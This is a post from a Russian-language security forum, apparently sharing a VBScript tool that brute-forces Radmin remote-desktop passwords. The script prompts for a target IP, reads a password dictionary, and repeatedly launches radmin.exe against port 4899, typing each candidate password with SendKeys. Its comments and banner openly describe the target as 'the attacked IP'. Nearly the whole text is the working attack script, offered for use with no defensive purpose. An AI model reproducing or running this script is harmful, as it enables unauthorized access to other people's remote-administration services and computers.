ANTICHAT — форум по информационной безопасности, OSINT и технологиям

cscript winner13.vbs password.txt

WScript.Echo " "
WScript.Echo " "
WScript.Echo " "
WScript.Echo " "
WScript.Echo "      ==================================================="
WScript.Echo "      =    Вводим ip атакуемого                        ="
WScript.Echo "      =                                                             ="
WScript.Echo "      =    Используется: cscript winner13.vbs          ="
WScript.Echo "      =    Подбор по словарю = password.txt     ="
WScript.Echo "      ==================================================="
WScript.Echo " "
WScript.Echo "          note: do not interfere with the process !!!!  "
WScript.Echo " "
WScript.Echo " "

Set objShell = CreateObject("Wscript.Shell") ' создаём вбс объект

intValue = InputBox("Please Enter Your Target IP:") ' делаем ввод данных по айпишнегу.
strCommandLine = intValue



Set cmd = CreateObject("WScript.Shell")
If WScript.Arguments(0) = "" Then
   WScript.Echo "usage: cscript vbsFile.vbs <yourtxtfile>" ' юзаем наш password.TXT
Else
   Set fso = CreateObject("Scripting.FileSystemObject")
   Filename = WScript.Arguments(0)

   If fso.FileExists(Filename) Then ' цикл подбора
       Set objTextFile = fso.OpenTextFile(Filename,1) ' открытие словаря
WScript.Sleep 2000
      Do Until objTextFile.AtEndOfStream
line = objTextFile.Readline

WScript.Echo "[+]       Атакуется " & intValue & "....... " & line ' вывод строки
WScript.Sleep 200
      set WshShell = WScript.CreateObject("WScript.Shell") ' начало работы с файлом radmin.exe
WshShell.Run "radmin.exe /connect:" & intValue & ":4899 /telnet" 'запуск
WScript.Sleep 1000 'задержка в секунду
WshShell.AppActivate "Enter password for <Entry name>" 'вывод положительного результат если таковой есть
WshShell.SendKeys line
WScript.Sleep 1000 'задержка в секунду
WshShell.SendKeys "{ENTER}"
WScript.Sleep 1000
WshShell.SendKeys "{ENTER}"

loop
       objTextFile.Close 'закрытие словаря
   Else
       WScript.Echo Filename & "не найденно" ' вывод отрицательного результата
   End If
End If